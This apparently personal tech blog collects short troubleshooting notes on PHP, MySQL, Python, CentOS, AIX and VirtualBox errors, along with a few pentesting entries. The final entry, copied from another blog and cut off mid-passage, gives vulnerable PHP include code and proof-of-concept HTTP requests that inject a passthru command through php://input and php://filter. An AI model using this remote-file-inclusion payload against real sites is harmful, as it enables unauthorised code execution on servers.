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mysql_fetch_assoc(): 4 is not a valid MySQL result resource in

mysql_fetch_assoc (): 4  is not a valid MySQL result resource in So received the error during a programming spree. quite blank at first. googled but majority of the results are cause of worngly "submitted argument" mine, it was correct. found solution here : http://forums.adobe.com/thread/676990 i did a loop for displaying results as below: while (#row=mysql_fetch_assoc()$result_from_queyr){   //display ans here } the mistake was palcement of mysql_free_result. it shud be AFTER the while loop. -__-" demkit. //alak

Using sed to remove empty lines

sed '/^$/d' myFile > tt  mv tt myFile ref: http://soft.zoneo.net/Linux/remove_empty_lines.php //alak

Fatal error: Cannot access empty property in /var/www/html//regForm_process.php on line 9

This is te code: $i = 1; foreach($_GET as $name->$value) {     echo 'GET '.$i.': '.$name.' and VALUE = '.$value.' ';     $i+=1; } Basically i wanted to get all the variables,a nd assign them as a var to be fed to a mysql insert query. But the code above is jusr P0C. When called/runned, get this error" Fatal error : Cannot access empty property in  /var/www/html/regForm_process.php  on line  9 The fix? easy. change the ' -> ' to become ' => ' As easy as that -______-" Hope this helps someone. /alak

BackTrack 4 sources.list - BT5

For anyone still stuck at BT4 and can't update their apps, use this sources: deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing deb http://32.repository.backtrack-linux.org revolution main microverse non-free testing deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing ref: http://vishnuvalentino.com/computer/10-steps-to-set-up-armitage-in-backtrack-for-penetration-test/ /alak

Python: thread.error: can't start new thread

So the case is this: i have a python script that listens on certain port for a connection, and when a client connects, it acts as a tcp forwarder, forwarding connections accordingly. somehow, the server.py script throws exception after few client.py connection: Unhandled exception in thread started by Traceback (most recent call last):   File "server.py", line 55, in server_thread     thread.start_new_thread(forward_client, (client_socket, server_socket)) thread.error: can't start new thread Damn it! so i do what all people been doing, i Google. From below two URL, i was able to understand the situation and came up with the solution: - http://blog.tsunanet.net/2010/10/threaderror-cant-start-new-thread.html - http://adywicaksono.wordpress.com/2007/07/10/i-can-not-create-more-than-255-threads-on-linux-what-is-the-solutions/ Tsunanet states that memory allocation might be the issue. Sort of like where my RAM is not enough for all the threading happening

Parser Error Message: Could not load file or assembly 'Microsoft.Web.Services3, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' or one of its dependencies. The system cannot find the file specified.

The issue was because the Micrsoft Web Services Enhacement toolkit was not installed. link is here: http://www.microsoft.com/download/en/details.aspx?id=14089 That solved it. Thanks /alak

ImportError: Can't load a json library while easy_install Tweepy

was playing with these: - http://parezcoydigo.wordpress.com/2011/04/23/twitter-from-the-command-line/ - http://talkfast.org/2010/05/31/twitter-from-the-command-line-in-python-using-oauth Was trying to install Tweepy library for python. Encountered below: 1) yum install python-setuptools -y [success] 2) easy_install tweepy [success] 3) Made a simple script, trying to make use of Tweepy [Failed] so tried to easy_install simplejson, also failed: [root@chi alakClient]# easy_install simplejson Searching for simplejson Reading http://cheeseshop.python.org/pypi/simplejson/ Reading http://github.com/simplejson/simplejson Reading http://cheeseshop.python.org/pypi/simplejson/2.1.6 Best match: simplejson 2.1.6 Downloading http://pypi.python.org/packages/source/s/simplejson/simplejson-2.1.6.tar.gz#md5=2f8351f6e6fe7ef25744805dfa56c0d5 Processing simplejson-2.1.6.tar.gz Running simplejson-2.1.6/setup.py -q bdist_egg --dist-dir /tmp/easy_install-mEH9fn/simplejson-2.1.6/egg-di

ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/opt/local/var/run/mysql5/mysqld.sock' (2)

Installed mysql 4 from dmg ackage, 64 bit. started mysqld from preferences, but when trying to connect received this error: MyCOmp~ # mysql5 -uroot ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/opt/local/var/run/mysql5/mysqld.sock' (38) The issue? well, few things: 1) make sure the /opt/local/var/run/mysql5/ directory does exist. 2) make sure proper permission, for write purpose for mysql user: sudo chown mysql:admin /opt/local/var/run/mysql5/ 3) create and softlink it to proper places. which in my case, i took example of my.cnf from /opt/local/share/mysql5/mysql/my-small.cnf then after renaming it to /opt/local/etc/mysql/my.cnf. i then softlink this to /etc/mysql/my.cnf. Note that you might need to create the directory /etc/mysql And then it works like a charm. :) /alak

Word 2007: Numbering for Thesis and Dissertation

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Well, its for stevens.edu library, but nevertheless, knowledge is knowledge. A reminder to self. /alak

Transmission on a CentOS

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So its my time to set up my own Transmission. Yeah, late, but still, yeah.. just leave me alone will yeah. >.< List of references: (1) http://geekery.blog.com/category/linux/transmission-rpms/ (2) https://trac.transmissionbt.com/wiki/EditConfigFiles (3) http://superuser.com/questions/113649/how-do-you-set-a-password-for-transmission-daemon-the-bittorrent-client-server I have a 32-bit Centos 5: [root@chi /]# uname -a Linux chi 2.6.18-238.9.1.el5.pony5-1 #3 SMP Fri Jun 3 16:37:31 PDT 2011 i686 i686 i386 GNU/Linux [root@chi /]# So first i went and download all five of those transmission 2.31 daemon + cli from LINK (1) of my referense list. However, just incase, i mirrored them here : repo.alak.cc/transmission2.31/ Next, as per the instructions, i import the GPG key, and instaled all the RPMs: [root@chi trans]# rpm --import http://geekery.altervista.org/download.php?filename=GEEKERY-GPG-KEY [root@chi trans]# rpm -ivh libevent-2.0.10-1geekery.$(uname -i).rpm Preparing...

AIX : Check Process occupying a port

Ripped from here, for my own reminder: http://vistababa.wordpress.com/2008/09/14/which-process-is-using-the-port/ a. Show if the specified is being used. The hex number in the first column of the result is the address of protocol control block (PCB): #netstat -Aan | grep Port_Number b. Dsiplay the process who is holding the socket: #rmsock Address_of_PCB tcpcb Note: That rmsock, unlike what its name implies, does not remove the socket, if the socket is being used by any process. Instead of removing the socket, it just reports the process holding the socket. Also note that the second argument of rmsock is the protocol. It’s tcpcb in the example to indicate that the protocol is TCP. Example: #netstat -Aan | grep 23 f10000f3019c9b58 tcp 0 0 *.23 *.* LISTEN #rmsock f10000f3019c9b58 tcpcb The socket 0x19c9800 is being held by proccess 278614 (inetd). #ps -lp 278614 F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD 240001 A 0 278614 364626 0 60 20 d121a400 468 – 0:00 inetd That's all

Wargamesmy 2011 - Binary100

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This is a very cilake ayam challenge. kudos to p0pc0rn for guiding me. Steps ==== 1) execute the binary with interval of 1 second. 2) get the strings and order it accordingly by the numbering on most left. 3) Its a fscking ASCHII art! demkit ayam! And where is the fscking flag? Here: Thanks. /alak

Error: Cannot register the hard disk 'slave-template.vdi' {43fdc3ab-a37e-4508-8355-3333c43ca395} because a hard disk 'template.vdi' with UUID {43fdc3ab-a37e-4508-8355-3333c43ca395} already exists

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Virtual Box for Mac, encountered and error saying imported vdi file existed with spesific UUID. Error when trying to import existing .vdi harddisk files in Virtual Box. Reason is because each vdi (harddisk) is tag with a unique UID, thus can't be replicated. BUT, you can clone it. OOn Mac OS X, Virtual Box comes with a cloning utility. Open Terminal and enter below: VBoxManage clonehd <old.vdi> <new.vdi> and it wil be clone accordingly. :) /alak

Searching exploit modules in Metasploit

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Quoted from HD Moore from Metasploit framework mailing list: The still-not-documented-keyword-system is much more flexible (and slower), but takes the following options: name Search within the module's descriptive name name:Microsoft path Search within the module's path name path:windows/smb platform Search for modules affecting this platform/target platform:linux type Search for modules that are of a specific type (exploit, auxiliary, or post) type:exploit app Search for modules that are either client or server attacks app:client author Search for modules written by author author:hdm cve Search for modules with a matching CVE ID cve:2009 bid Search for modules with a matching Bugtraq ID bid:10078 osvdb Search for modules with a matching OSVDB ID osvdb:875 Simple search by BID: And another using PLATFORM directive: It may be not that perfect yet: but it works! : A very big kudos to HDM :) //alak

IPv6 In Practical: Pentester's View

Original post here : http://www.room362.com/blog/2011/4/6/ipv6-attacks.html Rick Hayes - Assessing and Pen-Testing IPv6 Networks from Adrian Crenshaw on Vimeo . //alak

Self Contained RFI in PHP

This is a direct rip from here : http://www.cr0w.ru/2009/03/self-contained-file-include-in-php-520.html It is for my own record, and can be seen as a mirror. :) Sometimes those two tricks may be useful in RFI attacks. 1. Using php://input wrapper php://input wrapper allows you to read raw POST data (http://ru2.php.net/wrappers.php). For example, there is such code: sini2 <? if ( include($_GET['file'] . '.php') ) { echo 'Henck!'; } else { echo 'Error!'; } ?> For exploitation we need: allow_url_include=On magic_quotes_gpc=Off PoC: POST http://site.com/index.php?file=php://input HTTP/1.1 Host: site.com <?php passthru('dir'); ?> Also using additional php://filter wrapper (available since PHP 5.0.0) we can encode our php code: POST http://site.com/index.php?file=php://filter/read=string.rot13/resource=php://input HTTP/1.1 Host: site.com <?php passthru('dir'); ?> 2. Using data: wrapper Since version 5.2.0 PHP support